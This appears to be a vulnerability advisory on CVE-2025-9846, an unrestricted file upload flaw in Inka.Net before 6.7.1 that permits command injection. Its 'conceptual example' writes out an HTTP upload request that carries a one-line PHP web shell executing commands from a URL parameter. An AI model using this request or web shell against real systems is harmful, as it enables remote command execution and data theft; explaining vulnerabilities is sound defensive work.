Overview
In the realm of cybersecurity, every minor loophole can serve as a gateway for a potential breach. One such vulnerability has been identified in the software infrastructure of TalentSys Consulting’s Inka.Net, a prominent player in the Information Technology Industry. The vulnerability, identified as CVE-2025-9846, is a severe security flaw that allows unrestricted uploads of file types, potentially leading to Command Injection. This vulnerability affects every entity that uses versions of Inka.Net before 6.7.1, making it a significant concern for a wide range of businesses and individuals alike.
This vulnerability is critical due to its potential to compromise system integrity and trigger data leakage. In the context of cybersecurity, a flaw of this magnitude cannot be underestimated as it could lead to unauthorized access and manipulation of sensitive data, thereby causing significant damage to the affected parties.

How the Exploit Works
The exploit takes advantage of the unrestricted file upload vulnerability present in Inka.Net versions before 6.7.1. An attacker can upload a file with a dangerous type, which may contain malicious scripts. Upon execution, these scripts could potentially allow the attacker to inject commands into the system. This command injection could lead to unauthorized system access, alteration of system parameters, or extraction of sensitive data.
Conceptual Example Code
A conceptual example of how this vulnerability could be exploited is as follows:
POST /upload/file HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious_script.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, an attacker sends a POST request to the `/upload/file` endpoint of a vulnerable Inka.Net application. The request contains a malicious PHP file that, when executed, allows the attacker to run arbitrary commands on the system by passing them as parameters in the URL. This type of attack could lead to a full system compromise if not mitigated promptly.
Remember, this example is purely conceptual and is meant to illustrate the nature of the vulnerability, not to provide a real-world exploit.
